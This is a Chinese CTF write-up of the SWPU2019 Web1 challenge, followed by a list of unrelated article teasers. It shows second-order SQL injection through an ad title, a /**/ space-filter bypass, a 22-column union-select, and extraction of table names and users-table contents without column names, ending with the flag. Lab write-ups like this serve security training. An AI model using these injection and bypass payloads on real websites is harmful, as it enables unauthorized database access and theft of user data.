[SWPU2019]Web1 超详细教程
老规矩先看源码,没找到啥提示,后面就是登录口对抗
弱口令试了几个不行,就注册了个账户登录进去
可以发布广告,能造成xss,但是没啥用啊感觉
查看广告信息的时候,注意到url当中存在id参数,可能存在sql注入
这里虽然显示待确认,但是既然我可以看到数据,那么说明它必然已经存在数据库里了
但是我手测了几个,' " + / * and or ,没发现明显的可注入点,可能是做了严格的过滤
停下来整理一下思路,前面那个存储框除了xss以外还有sql二次注入的可能,但是xss一般在ctf中没啥利用点,所以思路转向验证sql二次注入
新建一个广告,我故意把文件名命名和之前的重复,看他会不会去查询
正和我意,说明它去数据库里查了已有的广告名称
去试试
做了过滤,这也恰恰说明这里大概率有货,就是怎么去绕过呢
新建一个广告
这里在创建的时候没报错,我以为没了呢,但是查看详情的时候发现报错了
您的 SQL 语法有错误;检查与您的 MariaDB 服务器版本相对应的手册,了解在第 1 行的 ''1'' limit 0,1' 附近使用的正确语法
从这里我们就可以得到有用的信息了,"包裹,mariadb数据库
但是空格好像被过滤了,会提示敏感词汇
# 也被过滤了
不明白他这里为啥上面提示是双引号,但是后面给双引号又提示是单引号
后面试了单引号可以
构造的轮子:-1'/**/union/**/select/**/1,2,'3,
提示列数不匹配
到这里才完全确定存在注入,后面就是轮子的变形
一直加到22列才不报错,注入点是2,3位
poc:
-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
爆出库名
这里还要注意的一点是,在注入的时候要把前面的第一个参数改为不存在的id,比如:-1,否则后面的即使查出来了也不会显示的,因为只会输出一行,注意注意,我一开始搞忘了
再爆破表名
-1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
无字段名称去爆破字段内容,爆破表里的所有列的内容,*
-1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
拿到flag
flag{5609c556-36e6-4073-886d-5301375da629}
总结:联合注入注意第一个参数是否存在影响结果展示
sql注入功能点的发现,只要是展示数据了,就有可能存在注入
注入要先判断有没有,再去构造轮子,联合注入要先判断列数,同时注意绕过替换
相关文章:

[SWPU2019]Web1 超详细教程
老规矩先看源码,没找到啥提示,后面就是登录口对抗 弱口令试了几个不行,就注册了个账户登录进去 可以发布广告,能造成xss,但是没啥用啊感觉 查看广告信息的时候,注意到url当中存在id参数,可能存…...

【区块链通用服务平台及组件】基于向量数据库与 LLM 的智能合约 Copilot
智能合约是自动执行、无需信任的代码,可以在区块链上运行,确保了数据和程序的透明性和不可篡改性。然而, 智能合约的编写、调试和优化仍然是一个具有挑战性的过程,因为它需要高度的技术专长,且发布后的智能合约代码通常…...

mfc140u.dll丢失有啥方法能够进行修复?分享几种mfc140u.dll丢失的解决办法
你是否曾遇到过这样的情况:当你满怀期待地打开一个应用程序时,却被一个错误提示拦住了去路,提示信息中指出 mfc140u.dll 文件丢失。这个问题可能会让你感到困惑和无助,但是不要担心,本文将为你详细解读 mfc140u.dll 丢…...

【PyQt6 应用程序】在用户登录界面实现密码密文保存复用
在开发现代应用程序中,为用户提供既安全又便捷的登录体验是至关重要的。特别是在那些需要用户认证的应用中,实现一个功能丰富且用户友好的登录界面不仅能增强用户满意度,还能提升整体的安全性。基于PyQt6框架和QtDesigner,本文将展示如何在已有的用户登录页面基础上,进一步…...

赋能百业:多模态处理技术与大模型架构下的AI解决方案落地实践
赋能百业:多模态处理技术与大模型架构下的AI解决方案落地实践 AI 语音交互大模型其实有两种主流的做法: All in LLM多个模块组合, ASR+LLM+TTS实际应用中,这两种方案并不是要对立存在的,像永劫无间这种游戏的场景,用户要的是低延迟,无障碍交流。并且能够触发某些动作技…...

游戏论坛网站|基于Springboot+vue的游戏论坛网站系统游戏分享网站(源码+数据库+文档)
游戏论坛|游戏论坛系统|游戏分享网站 目录 基于Springbootvue的游戏论坛网站系统游戏分享网站 一、前言 二、系统设计 三、系统功能设计 四、数据库设计 五、核心代码 六、论文参考 七、最新计算机毕设选题推荐 八、源码获取: 博主介绍:✌️大…...

【go】pprof 性能分析
前言 go pprof是 Go 语言提供的性能分析工具。它可以帮助开发者分析 Go 程序的性能问题,包括 CPU 使用情况、内存分配情况、阻塞情况等。 主要功能 CPU 性能分析 go pprof可以对程序的 CPU 使用情况进行分析。它通过在一定时间内对程序的执行进行采样࿰…...

Python | Leetcode Python题解之第397题整数替换
题目: 题解: class Solution:def integerReplacement(self, n: int) -> int:ans 0while n ! 1:if n % 2 0:ans 1n // 2elif n % 4 1:ans 2n // 2else:if n 3:ans 2n 1else:ans 2n n // 2 1return ans...

JDBC使用
7.2 创建JDBC应用 7.2.1 创建JDBC应用程序的步骤 使用JDBC操作数据库中的数据包括6个基本操作步骤: (1)载入JDBC驱动程序: 首先要在应用程序中加载驱动程序driver,使用Class.forName()方法加载特定的驱动程序…...

633. 平方数之和-LeetCode(C++)
633. 平方数之和 2024.9.11 题目 给定一个非负整数 c ,你要判断是否存在两个整数 a 和 b,使得 a2 b2 c 。 0 < c < 2的31次方 - 1 示例 示例 1: 输入:c 5 输出:true 解释:1 * 1 2 * 2 5示…...

Linux shell编程学习笔记79:cpio命令——文件和目录归档工具(下)
在 Linux shell编程学习笔记78:cpio命令——文件和目录归档工具(上)-CSDN博客https://blog.csdn.net/Purpleendurer/article/details/142095476?spm1001.2014.3001.5501中,我们研究了 cpio命令 的功能、格式、选项说明 以及 cpi…...

《 C++ 修炼全景指南:七 》优先级队列在行动:解密 C++ priority_queue 的实现与应用
1、引言 在现代编程中,处理动态优先级队列的需求随处可见,例如任务调度、路径规划、数据压缩等应用场景都依赖于高效的优先级管理。C 标准库提供了 priority_queue 这一强大的工具,它的独特之处在于它的排序特性,priority_queue …...

通信工程学习:什么是HSS归属用户服务器
HSS:归属用户服务器 HSS(归属用户服务器,Home Subscriber Server)是IP多媒体子系统(IMS)中控制层的一个重要组成部分,它扮演着存储和管理用户相关信息的核心角色。以下是关于HSS归属用户服务器的…...

mysql workbench 如何访问远程数据库
要使用 MySQL Workbench 访问远程数据库,可以按照以下步骤操作: 步骤 1:获取远程数据库的连接信息 首先,确保你有远程数据库的以下信息: 主机名(Host):通常是服务器的 IP 地址或域…...

ICMAN触摸感应芯片方案
ICMAN触摸感应芯片 ICMAN触摸感应芯片采用先进的电容感应技术,能够精确检测和识别触摸动作。这一技术通过感应人体与传感器之间的微小电容变化来实现触控功能。相比传统的电阻式触控技术,电容感应技术具有更高的灵敏度和响应速度,能够提供更…...

面向个小微型企业的开源大模型(Qwen2等)商业化, AI部署成本分析与优化策略(费用分析、资源消耗分析)
小微企业AI大模型部署服务器解决方案:资源及成本分析 1.GPU-LLM技术依赖评估依据 在当前全球化的背景下,本地化需求日益凸显,无论是企业拓展国际市场还是个人用户追求更加贴近本土化的服务体验,都对技术的本地化部署提出了更高要求。随着人工智能(AI)技术的飞速发展,尤…...

pandas判断一列中存在nan值
pandas判断一列中存在nan值 在使用 pandas 时,判断一列是否存在 NaN 值可以通过多种方法完成。以下是几种常用的方法: 使用 isna() 和 any() 方法 import pandas as pd import numpy as np# 创建示例数据 df = pd.DataFrame({A: [...

如何将 Electron 项目上架 Apple Store
前言 Electron 是一个开源框架,它允许开发者使用 Web 技术(HTML、CSS 和 JavaScript)来构建跨平台的桌面应用程序。 Electron 应用程序可以运行在 Windows、macOS 和 Linux 上,为用户提供了一种统一的方式来开发和维护软件。 本文将探讨如何将 Electron 构建的桌面应用程…...

R语言统计分析——功效分析2(t检验,ANOVA)
参考资料:R语言实战【第2版】 1、t检验 对于t检验,pwr.t.test()函数提供了许多有用的功效分析选项,如下: pwr.t.test(n,d,sig.level,power,type,alternative) 其中,n为样本大小; d为效应值,即…...

android 侧滑返回上一界面备忘
ParfoisMeng/SlideBack: 无需继承的Activity侧滑返回库 类全面屏返回手势效果 仿“即刻”侧滑返回 (github.com)...

golang学习笔记18——golang 访问 mysql 数据库全解析
推荐学习文档 golang应用级os框架,欢迎star基于golang开发的一款超有个性的旅游计划app经历golang实战大纲golang优秀开发常用开源库汇总golang学习笔记01——基本数据类型golang学习笔记02——gin框架及基本原理golang学习笔记03——gin框架的核心数据结构golang学…...

苹果账号登录后端验证两种方式 python2
import time import jwt import requests import json import base64def decode_jwt(jwt_token):try:h,p,s jwt_token.split(.)except:return {},{},{},"","",""header json.loads(base64.urlsafe_b64decode(h )) # 可能需要调整填充pa…...

FlinkCDC 3.2.0 新增优点 Pattern Replacement in routing rules
新增优点:Pattern Replacement in routing rules flinkcdc 3.2.0版本相较于3.1.0版本,避免了多表多sink多次写 route 路由的麻烦,类似于统一前后缀的形式多表多sink,通过<>正则,大大减少了书写 官网࿱…...

《 C++ 修炼全景指南:六 》深入探索 C++ 标准库中的 stack 与 queue 容器适配器
1、引言 1.1、容器适配器的概念与应用 容器适配器(Container Adapters)是 C 标准库提供的一种特殊容器,它不是一种独立的容器,而是对其他标准容器的封装,用来实现特定的数据结构如栈(stack)和…...

高级java每日一道面试题-2024年9月07日-JVM篇-说一下类加载的执行过程?
如果有遗漏,评论区告诉我进行补充 面试官: 说一下类加载的执行过程? 我回答: 在Java中,类的加载是一个重要的过程,它是由Java虚拟机(JVM)的类加载器系统负责的。类加载的过程不仅仅包括加载类的字节码到内存中,还包…...

笔试强训day09
添加逗号 import sysa list(input())[::-1] s "" cnt 0 for v in a:cnt 1s vif cnt%30:s , print(s.rstrip(,)[::-1])跳台阶 import sys import functools functools.cache def dfs(u):if u1 or u2:# print(f"u {u}")return ureturn dfs(u-1)dfs(…...

软件测试中的黑盒测试方法,包括其定义、目的及主要步骤。
黑盒测试(Black Box Testing)是一种软件测试方法,它侧重于软件的功能性需求验证,而不考虑程序内部结构或代码实现细节。这种方法是从最终用户的角度出发,检查系统是否按照规格说明书的要求工作。黑盒测试的主要目的是验…...

Shell脚本计算π的近似值
计算π的公式很多,本文使用“π的莱布尼茨公式”来计算π的近似值,对应的公式如下: http://upload.wikimedia.org/math/9/e/8/9e804b8a1a11e442be93fed1d52205a9.png 由此我们可以得到求解π的公式为:π=4*(1-(1/3)+(1/5)-(1/7)+(1/9)...) 下面是在linux下使用shell脚本命令…...

进程间通信之消息队列
作用 进程间通信 特点 1 、消息队列中的消息是有类型的。 类型 : 自定义的结构体 , 第一个成员必须是 long 型的 . 表示为该消息的类型 如 : typedef struct 结构体名称 { long type; // 消息的正文 char name[50]; char sex[10]; int age; ... } 别名 ; 2 、消息队…...

人生苦短我用Python 5-xlwings自动调整表格
人生苦短我用Python 5-xlwings自动调整表格 前言依赖主要类App类Books类Sheet 类 示例代码 前言 使用pandas库openpyxl库实现了csv与excel文件的互相转换,csv转excel后若数据超出了单元格的宽度,部分数据无法完整显示。需要手动打开Excel文件࿰…...